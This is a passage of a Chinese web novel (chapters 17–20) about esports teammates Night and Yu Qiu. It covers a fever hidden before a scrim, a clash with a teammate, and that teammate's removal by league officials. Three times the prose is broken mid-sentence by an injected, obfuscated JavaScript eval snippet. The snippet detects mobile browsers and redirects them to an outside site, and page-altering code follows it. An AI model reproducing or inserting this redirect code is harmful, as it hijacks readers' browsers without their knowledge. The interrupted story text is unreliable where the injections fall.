他重新站稳,边撇嘴边将目光投向卫生间里的人,不满道:“有没有点人性啊,都要摔倒了还不接一下我。万一出事了你对我负责——” 还未说出口的话突然扼在了喉里。 清脆的滴落声在卫生间里回响着。 “啪”、“啪”、“啪”…… 水龙头里残余的水珠一滴、一滴地落在冰冷的盥洗台上,犹如一根根细长尖锐的银针一下、一下,狠狠地扎进了郁秋的心里。 卫生间内,惨白的灯光打在面色阴冷的黑衣青年身上。他额前的碎发挂着的水滴好巧不巧地在此刻坠下,落在了他微微泛红的眼角,犹如一颗硕大的泪珠,顺着他的脸颊滑落,最终狠狠地砸在了冰冷的大理石地板上。 一滴、两滴、三滴…… 两道滴落声融在一起,在卫生间里不停地回响。 一道道水痕在他白皙的脸上留下了清晰可见的痕迹。 郁秋的心不由得揪了起来。 就算面前的人神色看上去再怎么平静冷漠,却也无法让人忽视那抿成一条直线、微微颤抖着的唇;就算面前的人眼神再怎么冰冷无度,却也无法掩饰住正泛着波光的眼眶;就算面前的人再怎么想极力去遮盖,却终究还是无法藏住一个正在发生的事实—— 夜雨辰哭了。 17. 第 17 章 郁秋愣愣地站在门口,神色闪过一丝慌乱,但又很快的遮掩了下去。 “让一下。” 面前的青年看似平静地开口道。 他并没有行动,而是踌躇了半晌:“你怎么……” 青年不耐烦地皱起眉:“我说让开。” 郁秋一噎:“……” 他将话吞回肚子,并让出了路。 好凶。 夜雨辰一进卧室就一溜烟地缩进了被窝。 郁秋噤声回到卧室,他看着那窝成一团的人,斟酌了一下,缓缓开口道:“你没事……” “没有,别问,关你屁事,困了,睡觉,闭嘴。” 被窝里瞬间蹦出六个干脆简单的词语。 “……” 听到这几个如此干脆简练的词,郁秋站在原地保持着微笑,但脑子里已经成了一团乱麻。 谁来告诉他,他现在该怎么办?刚刚到底发生了什么? 为什么总感觉有一股怒火是冲着他来的?! 但现在的情况,他再说下去话也似乎没什么用了,所以他先离开了房间,并顺手把灯一并关上。把整个空间留给夜雨辰一个人呆呆了。 他刚走出房间关好了门,还没走几步,口袋里的手机突然就震动了好几下。 是微信接连收到了好几条同一个人发来的消息—— 【Night:别问,不关你事】 【Night:你但凡说出去刚刚看到了什么,以后晚上我一定比你先进房间并锁门】 【Night:还有……】 隔了好一会,这条消息才接着发来了后续。 【Night:抱歉,迁怒了,下次我尽量克制好自己的情绪】 * 被窝里,在全黑的环境下,手机屏幕散发的刺眼白光作为空间的唯一光源,直面打在了夜雨辰的脸上,让他眼角和鼻尖的粉红色更加突出显眼。 他死死地盯着自己发的最后一条消息,一时陷入了一个反复纠结的状态—— 他怎么就这么发过去道歉了? 不就是因为迁怒心虚了吗,怎么上一秒在发脾气,下一秒就道歉了? 这也太没面子了。 可郁秋这次被骂的是有点无辜。 …… 不行,还是太尴尬了,自己要是晚一小时道歉都比现在立马道歉好。 多次思索后,夜雨辰最终决定决定撤回这几条…… 【Q:我有钥匙,锁门没用,你威胁不到我】 夜雨辰:“?” 看着对面几乎秒回的消息,他双眸顿时瞪大。 郁秋这话是什么意思? 他不仅看到了自己哭了,还要去跟别人说这件事吗? 对面很快又接着发来了一条消息—— 【Q:你刚刚不是打哈欠吗?不然我看到的是什么?】 “……” 他翻了个白眼,把手机丢到一旁,打算睡觉。 算了,看到就看到吧,这个傻逼想咋说咋说,懒得在意了。 反正他现在……至少今晚都不想再和对方多说一句话了。 毕竟小九刚刚的话真是太让他下意识地去烦郁秋了。 十几分钟前—— 夜雨辰闭目躺在床上,消化着在餐厅里得到的所有信息。 突然,房门外不远处传来了一道陌生且似带着怒气的声音:“……臭替补,要不是邱子幸走了能给你这么装?” 听到‘替补’这两个字,他陡然睁开眼睛,下意识地蹙起了眉。 他站起身,想去看看外面究竟是谁在说这种话。 一打开门,他就看到了一个和自己身高差不多、一个身材微胖的男子正准备进自己对面的房门。 胖子看到郁秋的房间出来了一个陌生的面孔,怔了一下,立马反应过来这是战队来的新人,脸上随即挂上一抹冷笑,不屑道:“你就是夜雨辰?看上去不如邱子幸的一根。” “……”听到这莫名的嘲讽,夜雨辰眨了眨眼,“哦。” 然后他转身,准备回到房间。 见人就阴阳怪气的傻子,他懒得理。 “啧啧,这个替补究竟是为什么一当上队长就提出来一定要买你的?” 只听背后的人并没有打算就此住嘴,而是在那开始似是分析道,“因为你在游戏内常常登顶第一?不,肯定不是。他自己都拿过那么多次第一,现在混成什么惨样大家有目共睹,所以他绝对不是因为你的游戏成绩买你的。” 闻声,夜雨辰停下了脚步。 他转过头,看向了那个站在房间门口、正摸索着下巴似在思考的人,眼神的温度逐渐降低。 “哦,我知道了。” 胖子像是想到了什么似的,恍然大悟,他用那一条缝似的眼睛直勾勾地上下打量着夜雨辰,脸上逐渐荡开一个猥琐的笑容,“小胳膊小腿,还是一个小白脸,像是替补会喜欢的那款,而且你们还刚好一个房间,说不定背地里早就认识,有什么说不出口的交……” “砰!” 话还没说完,一声剧烈的闷响从耳边骤然响起,下一秒,他的脑子一片空白,脸颊后知后觉的升起一股火辣辣的感觉。 剧烈的胀痛感随着脸上的肥肉火辣辣的扩散着,他的手颤抖地抚上自己的脸颊。他呆愕地将视线挪到了这个突然闪到自己面前的黑衣少年,声音里充满了不可思议:“你……你打我?你,你怎么敢动手?!” “不好意思啊,刚刚隔得有点远,你说话声太小我没听清。” 只见夜雨辰活动着自己的右手腕,俯视着面前这个满脸惊骇的人。他的眼里寒光四射,声音也冰冷如刺,似笑非笑道, “你是小九,对吧?你刚刚说了什么,能麻烦你再重复一遍吗?” “你……你,你!”小九惊愕地看着对方。 这时,楼上传来了一道关门的声音,小九的眼睛咕溜一转,突然,他扯开嗓子大吼道:“来,你再来啊!你越急不就说明我说得越对吗?!” * 半夜,夜雨辰突然惊醒了过来。 不知道是不是因为小九的话,他又梦到了两年前那些网友对他说的各式各样的、和郁秋的‘不良交易’的言论。 那些让人恶心、无法理解的话语。 昏沉的脑子里全是清晰的字眼,让他的意识逐渐清醒。 他揉了揉眉心,缓缓从床上坐了起来。 有点热,还有点渴。 不过身体依旧还是疲劳和困乏,他现在连坐起来的都有点费劲。 他掀开被子,迷迷糊糊地穿上拖鞋。 窗外昏暗的夜色透过纱帘打进房间,让他勉强看清了房间的现状—— 郁秋的床上依旧平整如初,被子平铺其上,完全没有任何人睡过的痕迹。 这人还没睡。 夜雨辰打了个哈欠,拿起床头的手机,打开看了一眼时间。 凌晨3点。 哦,才三点啊,那没睡还挺正常的。 他不以为意地收起手机,站起身走出房门,打算去喝杯水。 房间外走廊的灯依旧亮着,廊道里正回响着从其他房间里传出来的激动声—— 开开大吼道:“阿千你不要老看着老万啊,救救我!就算他是射手但我们可是舍友,我们才更亲密一点!你不能因为我玩的是边路就对我不管不顾啊!” Qian:“——!” 他的声音紧接其后,不过由于音量太小,让夜雨辰根本没听清他说了什么。 开开委屈道:“可我玩得好难受啊,本来打巅峰的时候就孤立无援,现在排位赛还要如此憋屈……” 突然,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081111|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道陌生且略带电子的怒吼声传了出来:“你别送了我的哥,你都成对面的天使投资人了!你是他们请来送分的演员吧?!” 开开心虚地干咳两声:“这英雄我还不太会玩,理解一下嘛,而且还没人帮我。” Qian不满道:“等下老万输了就又被这些人剪进‘玩家暴打职业’的视频集锦里了……” …… 听着两人的嬉闹排位声,夜雨辰默默地下到了一楼。 虽然熬夜是每名电竞选手的常态,但这俩人这么晚还如此精力充沛,也是让他心生佩服的。 一到一楼,他就看到了一个眼熟的亮黄色衣服的人坐在餐厅里。 餐桌上已经被收拾得一干二净,除了一台笔记本电脑,没有其他任何的东西。 郁秋正专心致志地看着面前的笔记本电脑,暖黄的灯光洒在他的身上,即使现在是半夜三更,他的眼神里也完全没有透露着一丝疲劳,甚至没注意到这时有一个人走到了他的附近。 夜雨辰径直绕过他,打开了冰箱,看看有没有自己想找的东西。 自己讨厌的那些吃的首入眼帘,让他下意识瞥开视线。 听到冰箱发出的动静,郁秋才注意到外界的动静。他慵懒地看向声源处,伸了个懒腰,打个哈欠道:“怎么了,在找什么?” 夜雨辰看都没看对方一眼,继续翻着冰箱,敷衍道:“渴了,想喝水。” 郁秋疑惑道:“饮水机矿泉水那些不都在客厅么?” 夜雨辰并没有找到自己想要的东西,转过头,皱眉看向对方,问道:“太热了,想喝冰的,你们这大热天的不会放几瓶水进冰箱冰一冰吗?” 郁秋一愣。他微皱起眉,站起身走到夜雨辰身后,手扶着冰箱门,看着冰箱里确实没有矿泉水,解释道:“冰箱里一般确实都会放几瓶水的,可能被他们拿完了没来得及补吧。而且……” 说到这,他垂下眸,将视线放到面前这个黑衣青年身上,眼神逐渐严肃道:“基地的空调不管是房间里的还是餐厅的,开得温度都很低,然后你说你现在‘太热了’?” “怎,怎么了?” 夜雨辰对上郁秋的视线,突然想起自己刚刚迁怒至对方的行为,虽然还是道歉了,但他还是不自觉地向后退了一步。 他吞了一口唾沫,立马瞥开视线,回答道,“空调遥控器又不在我手里,你怎么确定不是你不小心把房间里的温度调高了?” “哈?” 听到这句话,郁秋没忍住笑出了声,他似是头疼地揉了揉太阳穴,无奈的开始分析, “夜雨辰小兄弟,你今天……哦不,昨天,刚到基地的时候淋了点小雨。而洗澡的时候,你……”说到这,他顿了一下,脑子里又浮现出了那时候看到对方的模样,脸上不由得闪过一抹尴尬之色。 他干咳了一声,继续道,“我记得你跑回浴室的时候还喊着‘冷死了’这三个字,而那时候到现在,我空调一直都没关过,怎么过了几个小时你就从‘冷’改口成了‘热’?” “……” 听着对方面面俱到的分析,夜雨辰似是意识到了什么,抿紧了嘴唇。 郁秋的嘴还没有停:“你刚刚还和石简益好像打了一架?虽然我不知道你们之间究竟发生了什么,但不管你的体质是强是弱,你在下午短时间内身体经历冷热温度的交替,本身就会让你的身体免疫力降低,而这段时间内,你的情绪还出现过强烈的反应。你要知道,过激的情绪反应是可能会让一个人的身体暂时被抑制住免疫系统的……” 说到这,他长叹一口气,将手直接抚上了对方的后颈。 手里传来的温度,确认了自己的猜想无误,郁秋失笑了一声,道: “我的好舍友,你现在不会是发烧了但还没意识到自己已经生病,然后还想着要喝些冰水解解热的情况吧?” 18. 第 18 章 口渴、发热、头晕、乏力…… 在身体给予给予的反馈,以及郁秋一系列的分析和总结下,后知后觉意识到自己似乎真的发烧了的夜雨辰脸上并没有书写上任何的尴尬。 他一把拍开郁秋的手,冷笑道:“怎么可能,谁规定的发烧就不能喝冰水?小事而已。” “真的?” 郁秋半信半疑地看着他,手里不知道从哪变出来了一盒刚刚买的发烧贴,问道,“那基地里没有药,你要用这个么?” “不要。”夜雨辰想也没想就拒绝了,他似是没把这个小病看在眼里,果断道,“用不着,小病而已,睡一觉就好了。” 说完,他便直接去客厅拿了瓶水,像个没事人似的快步上楼回到自己的房间。 一到没有别人在的地方,他全身顿时就像脱力了一般,直接倒在了床上,将整张脸埋进了枕头里。 不知是不是心理效应,从被郁秋完全点明发烧以后,他的感知似乎比刚刚还灵敏了许多。 头愈发昏沉,呼出的气体也比刚刚炽热。全身的力气似乎在刚刚快步离开餐厅的时候就已全数用完,刚刚他上楼的时候差点因为身体发软被绊了一跤。 他打开手机里的外卖软件,在里随便买了一盒退烧药并定时在明天早上十点送到后,就恹恹地补充了点水分继续睡觉。 该吃的药还是得吃,不过他完全不喜欢把自己虚弱的一面给别人看到,所以能不让别人知道他生病他就不想让别人知道。按照队友现在没睡的情况来看,他们早上应该起不来,所以他可以这个点起来偷偷去吃个药,并把药盒藏起来…… 完美的计划。 他缓缓闭上眼。昏沉乏力感带着他的意识不知不觉陷入谷底,进入了梦乡。 就算是在梦里,他也像被关了在桑拿房似的,全身上下都在叫嚣着闷热。 在他实在是热得受不了的时候,许是心想事成般,他的额头突然开始传来了一丝冰凉的感觉,像是手指的轻抚。 这触感终于让他紧皱的眉头终于松开了些许,呼吸也不由得慢慢放缓。 隐隐约约地,他似乎听到了一道无奈的轻笑声:“都这么烫了,还嘴硬。” 他一怔,许是现在脑子正发着热,他并没有第一时间反应过来这句话是什么意思。紧接着,他又听到这道声音又传来了一句低喃—— “对不起,我不该给他机会的。” 其语气充满了温柔、自责和……心疼? * 第二天,夜雨辰醒来的时候已经是中午了。 房间的空调早已被关闭,整个房间完全没有一丝凉意。 他全身上下现在只有几个清晰地感觉——比睡着前还热,头也开始发疼,身上更是没有了力气。 好像烧得更严重了…… 他下意识地往自己额上一摸,然后,他愣住了。 指尖传来奇怪的粗糙感,像布料一样,紧紧地贴在了他的肌肤上。 他撕下贴在头上的东西,细细一看,皱紧了眉——是已经和他散发着一样温度的退烧贴。 ……什么时候贴的? 他已经完全没有了印象。 手机在这时刚好震动了一下,微信弹出了一条消息—— 【JYY战队群】 【零落:下午三点临时约了场和MHT的训练赛,不要迟到,有特殊情况及时告知我。】 夜雨辰瞥了一眼时间,现在是13.06了。 紧接着,郁秋的信息发了过来。 【Q:你要是身体还不舒服,训练赛可以请假的】 而往上看,还有几条他上午,甚至是凌晨发来的消息—— 凌晨三点,是他点完外卖后的信息。 【Q:遥控器在我桌上,你直接把空调关了就行】 而在上午十点左右,他又发了几条信息。 【Q:你的外卖放你床头了】 【Q:阿姨煮了粥,下楼可以直接吃】 夜雨辰缓缓将视线放到床头——自己买的、被塑料袋绑得紧紧的退烧药,和一盒已经开封了的发烧贴。 “哈。” 他没忍住勾起嘴角,心里浮过一丝异样感。 所以是这人半夜帮自己贴的吧? 真是……多管闲事。 * 等夜雨辰洗漱完下到一楼的时候,一楼已经站着好几个人了,虽然不乏陌生面孔,但他还是一眼就看到了瘫在客厅沙发上,翘着二郎腿,一副悠哉游哉的模样玩着手机的郁秋。 而郁秋也是第一时间就注意到了下楼的夜雨辰,并抬眸和他对上了视线—— 一人眼里写满诧异,一人眼里写满无语。 夜雨辰立马瞥开了双目,丝毫没有和对方打招呼的欲望,并默默地走到了餐厅,随便舀了一碗粥就坐下开吃了。 “你就只吃粥吗,不加点小菜?这样吃不会很乏味吗?” 突然,一道带着好奇的轻柔声从他身旁响起。 夜雨辰侧眸,看向了不知什么时候出现在自己旁边,一个长得十分清秀、扎着低马尾的女生。 他淡淡道:“嗯。” 说完,他便继续小口小口地抿着粥吃。 那名女生拉开他旁边的椅子坐了下来,好奇的将视线放在他的身上上下打量,疑惑道:“这天气你怎么穿这么厚的衣服?又是外套又是长裤的,我看着都热。” 夜雨辰头也不抬:“我冷。” 其实只是想试图能不能捂汗,让自己退烧。 而且就算他穿得再怎么奇葩,也比沙发上那个穿着红色人民币图案衣服的某人正常。 那名女生依旧将视线放在他的身上,半晌,她扑哧一笑:“所以你就是Night吗?看上去比照片还可爱欸。” 夜雨辰:“……” 他默默地吃着东西,一言不发。 “小霖,你敢不敢当着零落的面把这句话再说一遍?” 客厅里传来了郁秋的声音。 被称作小霖的女生撇了撇嘴,不满道:“怎么不敢?夸人好看又不犯法,小小零落怎么管得住我?” 零落从阳台冒出了一个头,他把耳边的手机拿开,大声道:“什么?你们叫我吗?” 小霖翻了个白眼,没好气道:“没你事,忙你的去。” 零落疑惑地把头收了回去。 “小霖?” 夜雨辰从几人的口中得知了这名女生的名字。 小霖转回头,脸上瞬间挂回亲近的微笑:“嗯,怎么了?” 夜雨辰指了指客厅,问道:“你和坐在郁秋旁边的那个女生,在战队是负责什么工作的?” 坐在客厅的那名长发女生,她正专心致志地看着手里的文件,面前也堆放着不少的纸张,一看就是有不小的身份。 “嗯?我没跟你说过吗?”小霖眨了眨眼,后知后觉地反应过来,“哦,不好意思,忘记自我介绍了,廖雨霖,叫我小霖就好了,我是打杂的。客厅的那个女生是冷姐,她和新老板一起来战队的,现在暂任经理,我现在的主要职责就是帮她打下手,不过也同时负责后勤。” 夜雨辰抓住了一个小重点:“打杂的负责助手和后勤两个职务?” 小霖点了点头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081112|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在整个俱乐部可以说只有我们几个工作人员了,所以除了你们几个选手,其他人几乎都是一人多工,十分缺人手。” “……辛苦了。”夜雨辰眨了眨眼,缓缓站起身。 他将餐具收拾好后,就打算直接回房间。 小霖看着剩下的半碗粥,惊叹道:“你就吃完了吗?你好像还没吃多少欸。” 夜雨辰点点头:“嗯。睡太晚了,没什么胃口,走了。” 说完,他便回到房间吃个药,定了个两点五十的闹钟,重新拿了一个新的贴贴在自己的额头上,就继续睡觉了。 发烧贴虽然只是物理降温,但过会训练赛他需要保证自己的脑子清醒且冷静。 最主要的是,就算是一个正常人打游戏,都常常会让自己的体温升高,所以他还是先提前给自己降点温,以防自己过会脑子被烧坏比较好。 时间转瞬即逝,好像眨眼一般,一个多小时一溜烟就过去了。 闹钟在响起的第一时间就被夜雨辰关闭了。 紧接着,他就听到了一旁的诧异声:“你今天还打训练赛?” “要你管。” 许是刚睡醒,也可能是发着烧的缘故,他的声音低沉而沙哑,听上去很不好惹。 夜雨辰坐起身,瞥了一眼坐在桌前的郁秋,揉了揉自己的太阳穴。 头还是好晕、好重,而且药效的缘故,他还有点犯困。 他将贴在头上的东西撕了下来,在发觉自己还是没捂出汗后,直接将身上的外套脱下,在确认自己外表看上去像个没事人了后,便准备上楼集合。 “等等。” 刚没走几步,郁秋就立马叫住了他。 他停下脚步,皱起眉头,转头看向了这个身穿人民币图案衣服的人,脸上写满了‘叫我有什么屁事?’这几个大字。 郁秋微蹙着眉,深邃的黑色瞳孔里闪烁着晦暗不明的光:“训练赛一般都是打一到两个小时的,我们五个都是第一次打训练赛,很可能发生什么你应该也知道,所以……万一你过会烧得更严重了该怎么办?” 夜雨辰冷漠地反驳:“不会,吃药了,会退。” “但吃药也不是一下就好的事吧?一次训练赛而已,你没必要这么硬来的……” 突然,夜雨辰抬眸,目光灼灼地看向郁秋:“还有其他人知道我发烧了吗?” 郁秋一愣。虽然对这个问题感到莫名,不过他还是答道:“不知道,其他人估计也才刚起床,除了零落,不过他……” “那过会训练的时候麻烦你不要和别人说这件事,谢谢。” 夜雨辰直接打断了他的话,还礼貌性地朝着他点了点头。 郁秋顿时语塞:“……” 感情你是全没听进我的话啊?! 只听对方接着补充道:“两个小时而已,没那么虚,忍会就好。” 说完,便若无其事地离开了房间。 “…………” 他的脸上瞬间布满几条黑线。 ‘没那么虚’? 是谁来这第一天就发烧的? 心底里不由得升起一股无名火,他下意识抬手,想把夜雨辰抓回来。 为什么知道可能会发生什么情况也不优先考虑自己? 一次训练赛而已,为什么要这么执着去打? 但下一秒,他的手僵在了空中。 眼底里的怒火不断地闪烁着犹豫的颜色。 半晌,他长叹一口气,还是放弃了挣扎—— 唉,算了。 由他吧。 他的选择,他尊重,并垫后就好。 19. 第 19 章 训练室里,Qian和开开都趴在桌上小憩着。 “咔嗒!” 门口发出一道细微的声响,两人像是自习课偷偷睡觉时突然被同桌戳了一下,立马惊坐了起来。 他们迅速装成一副认真清醒的模样托腮看着手机,并不经意地抬眸,偷偷瞟向了门口站着的那个人。 在看到来者后,他们俩顿时松了口气,恹恹地趴了回去继续睡觉。 夜雨辰:“……?” 看着两人莫名的表现,他眼中闪过一丝疑惑。 郁秋没过多久也来到了训练室,他先看了一眼正在训练营练补刀的夜雨辰,才瞥向再次被动静吓得惊坐起来的俩人,不由得好笑道:“你俩昨晚是打到了几点?都下午三点了还犯困呢。” Qian靠在电竞椅上微眯着双眼,看上去还是一副完全没睡醒的样子,没有说话。 开开则是打了个哈欠,边揉眼睛边懒懒道:“我俩最近手头有点紧,就这一次,秋哥你别和零落说啊,不然他又要——” “又要什么?”零落在这时也进了训练室,他看向开开,问道,“你们又做什么了?” 听到教练的声音,Qian瞬间清醒,他眼神一凝,立马在桌下狠狠掐了一把开开的大腿,淡淡道:“没事,创房间吧。” 这突如其来的疼痛让开开表情顿时扭曲了起来,他立马闭上嘴,咬舌硬扛着大腿传来的疼痛,脸上的睡意顿时烟消云散。 同时,他在桌下也给Qian同样的回礼,却被对方熟练地防守了下来。 “哦,这样啊。” 零落瞬间了然,用一副看破不说破的眼神看着他们,似笑非笑道,“先上号,其他事我们晚点再谈。” 小九在这时才姗姗来迟地进了训练室。 他一坐下就刚好和夜雨辰对上了视线。 看着对方冰冷的眼神,他感觉自己的脸颊又开始隐隐作痛,立马低下头登录游戏。 郁秋坐在两人中间,视若无睹外面发生的一切,直接给夜雨辰发了几条微信过去—— 【Q:你要是想打训练赛就最好别给零落知道你的身体状态】 【Q:要是坚持不住可以和我说,我给你打掩护】 …… 夜雨辰看了一眼手机弹出的数条消息就瞥开了视线,懒得回复。 两队很快就拉好了训练赛的房间,进入了BP页面。 零落一边在旁边讲着这次需要练习的阵容和战术,一边给全队人打上定心剂,道:“MHT是A组的战队,我们是B组战队,bo3而已,你们都是第一次配合,所以大家不要有太大的压力,友谊第一,比赛第二,训练赛结束我们好好复盘就行。这把我们选……” …… 第一把训练赛很快就结束了。 八分钟。 输得惨不忍睹。 仅仅八分钟他们就被对面以碾压的局势平推了。 训练室的气氛一下降到了极点。 五个人的脸上几乎没有任何表情,或是说,有几个人眉宇间已经隐约闪烁着怒气。 零落似是没注意到队内紧张的气氛似的,满脸轻松道:“没事,训练赛而已,大家放宽心,先休息十分钟调整调整状态,然后继续来下一把。” 夜雨辰一听,直接沉着脸出了训练室。 郁秋见状立马跟了上去。 一回房间,夜雨辰就直接去卫生间,拿水不停地拍打着自己的脸颊。 他本身就在发烧,身体在不断地发热,而这一把训练赛他果不其然打得他很生气,所以现在,他的全身更加燥热难耐。 郁秋抱胸靠在门边看着他,淡淡道:“还能坚持吗?” 听到这个声音后好几秒,夜雨辰才停下了洗脸的动作。 他双手撑着盥洗台,脸上不停地滴落着温热的水珠,缓缓抬眸,通过镜子和靠在门上的男人对视,沉声道:“你跟来干什么?” 郁秋漫不经心地看着他,悠悠道:“怕你生闷气把脑子烧坏了,刚刚一整把你都没说过几句话,咱们队可就你一个中单。” 夜雨辰冷哼一声,取下架子上的毛巾沾水,开始敷着自己的额头,试图给自己继续降温。 太憋屈了。 刚刚那把游戏真的是太憋屈了。 要不是因为现在没力气说话,他现在真想加入楼上已经开始吵架的纷争。 这把游戏,他们选出的阵容是经典的大射核阵容,所以中单玩的是工具人,相当于射手的第二个辅助。 他不仅不能吃很多经济,还要把射手当儿子来保护来养。 但这一整把,他们商量好的战术全没打出来游戏就结束了。 夜雨辰低垂着眼眸,开始思索为什么他们的战术还没打出来,就这么被对面平推了。 局内,该给的信号他都给了,该放的线他也放了,该卡的视野他也卡了,该打出的控制他也打了,该卖的命他也卖了,总之…… “我没错。” 他抬起眼眸,直直地对上郁秋的视线,不容置疑地说出了这三个字。 听到这个答案,郁秋轻笑一声:“有没有错不是你说了算,这些等复盘的时候再说。你现在身体感觉如何?” “好得很。” 夜雨辰一边回答,一边再次将敷在额上的毛巾取下来重洗一遍。 “……” 看着对方口是心非的行为,郁秋无声地叹了一口气,回卧室拿个东西后放到了夜雨辰的旁边,无奈道,“腋窝、大腿根都可以贴,不会自己去搜教程,这些部位散热效率更高一些,额头是效率最低的地方。” 看着放到自己旁边的那盒退烧贴,夜雨辰无语道:“你是发烧贴忠爱户吗?而且额头效率最低你昨晚还给我贴额头干嘛?” 郁秋没忍住好笑道:“你的意思是我昨晚应该趁你睡着把你扒了是吗?” 后知后觉意识到自己问了一个蠢问题的某人:“……” “要不要用这个你自己决定,我先上去了,第二把要开始了。” 说完,郁秋便转过身,准备离开。 “等等,我有个问题要问你。” 夜雨辰立马叫住对方。 郁秋回首:“嗯?” 夜雨辰斟酌了一下,还是决定开口道:“小九虽然刚刚还是菜,但你不觉得他刚刚的表现……至少比前几天我们撞车的那把巅峰赛要正常一点吗?” 郁秋嘴角一勾,语气意味不明道:“你想表达什么?” 夜雨辰微微蹙眉:“没什么,就是总觉得……” 怪怪的,但又说不出来是哪有问题。 巅峰赛那把的小九和刚刚的小九,虽然都菜得令人发指,但刚刚的训练赛,他还是有职业选手该有的反应走位、细节和思路,而巅峰赛的时候,明明是同一个英雄,他却常常没有这样的……想法? 郁秋意味深长地看了他一眼,缓缓道: “以后这种话不要轻易在公共场合说,也不要私下对任何人说,不管是队友还是朋友,包括我。” * 第二把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081113|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 训练赛开始的时候,整个训练室的气氛都特别的压抑,几乎没有任何人说话。 整个房间除了游戏激烈的打斗声,只回响着郁秋冷静的指挥声。 这把他们的阵容偏进攻型,一看就是打敌方野区的完美阵容。 但一个阵容看上去再怎么完美,也总有它的破绽。 这把的破绽就在射手身上。 不是说射手实力菜,而是说这把JYY选择的射手英雄在阵容方面一定会被对面针对。 他们的中边野体系做得很强,但由于他们的射手是后手选择,所以小九能选择的自保型射手已经被对面全送上了ban位。 他们最后选的射手只能选自保能力较弱的那个。 所以就算有时候Qian的辅助在旁边帮忙也无力回天。 而且,前期两个射手对线的时候,小九还被单杀了。 “玩你m!” 游戏结束后,小九再也忍不住直接把手机摔在了桌上,怒斥道,“打野中单纯心态报复我,一点都不来帮我!被越了一整把我怎么打?” 夜雨辰和郁秋黑着脸放下手机,并没有理会他的无能狂怒。 开开皱眉反驳道:“上路不都是打得挺顺风的,咱们换节奏打的也没问题啊,经济差也没拉开,家里也都有资源的,你自己又不听指挥,为啥要甩锅到场外关系?” 听到这,小九脸上被气得更红了:“对面射手经济都比我高两千了!他们还一直围着他打,我队友呢?你们都去哪了?我有队友吗?!” Qian冷笑一声,毫不客气道:“第一把阵容都是围着你做的,战术也是围着你打的,也不见得你打得多好。” 小九倏地一下站起身,冷笑道:“围着我打?中单站的位置离我百八十米远叫围着我打吗?” 听到这人把锅甩到自己身上,本来就有点脑子发晕且对这把有不小火的夜雨辰下意识地蹙起眉,沉声道:“你……” 突然,他的胳膊突然传来一阵用力的冰凉触感。 夜雨辰一怔,顺着触感来源处看去。 只见郁秋摇了摇头,示意着他不要动怒。 即使他的眼底正隐隐闪烁着火光。 “好了好了,训练赛而已,没什么好吵的。”零落开口劝架道,“你们都是第一次打训练赛,配合没对面强很正常,输赢不重要,这不是比赛,我们过会来复盘就好了。” “叩叩叩!” 突然,训练室的门被敲响了,紧接着,一个扎着马尾的女生将门悄悄打开了一个门缝。 她钻进一个头环顾了下室内的情况,发现大家的注意力都在她身上,于是小心翼翼地问道:“你们训练赛打完了吗?” 看到来者是小霖,零落眼里闪过一抹诧异:“打完了,但你怎么来了?” 小霖可从不会在整只队都在训练室的时候突然闯入。 “我找人,反正不是找你,小小零落。”听到训练赛一打完,小霖傲娇地哼了一声,整个人直接大摇大摆地进了训练室。 她的目光直指小九,一副看好戏的样子看着对方,啧啧道,“石简益,有人找你,已经在楼下等着了。” 听到这句话,郁秋脸上的不禁浮现出一抹笑意,而零落则是意识到了什么,下意识地看向了他。 不过小九并没有对这两人的反应有任何的察觉。 他满脸不耐烦地问道:“谁啊?” 小霖挂上一副幸灾乐祸的表情,娓娓道: “是职业联盟那边的人哦,你被举报了。” 20. 第 20 章 基地一楼,三个人目送着小九被联盟的人带走。 “举报啥了啊这是?” 开开看着他们离开的背影好奇道。 职业联盟派来的人只说小九被人匿名举报了且涉及情节严重,需要调查一番,然后就被带走了。 小霖挠了挠头:“不知道,听说是巅峰赛收钱做演员。” 闻言,Qian摇了摇头,低声感叹道:“演员还是太赚钱了。” 开开诧异道:“他还真敢做啊?而且联盟都找头上来了,他不会是当演员还拿的职业号吧?” “谁知道呢,反正他脑子又不是一天的不好使,他走了我们高兴才对。”小霖耸耸肩,像是想到了什么似的,嘴角一勾,“而且,如果是真的,那战队以后就不会再有瘤子了,感谢举报的人给我家零落一片清净。” “你家零落看上去都没多高兴,人都没下来。”Qian在旁小声吐槽道。 开开兴致缺缺地打了个哈欠转身进屋,懒懒道:“秋哥和Night也没下来,估计他们仨在楼上复盘吧?第二把虽然小九不听指挥是一回事,但他俩一整把的配合……我只能说没吵起来真是意料之外。” “迟早的事。”Qian小声嘀咕了一句,“那咱俩现在上去跟着复盘?” 开开立马摇头:“不不不,刚刚那把真是憋死我了,现在好不容易有机会下来透透气,我才不要这么快就上去呢。” 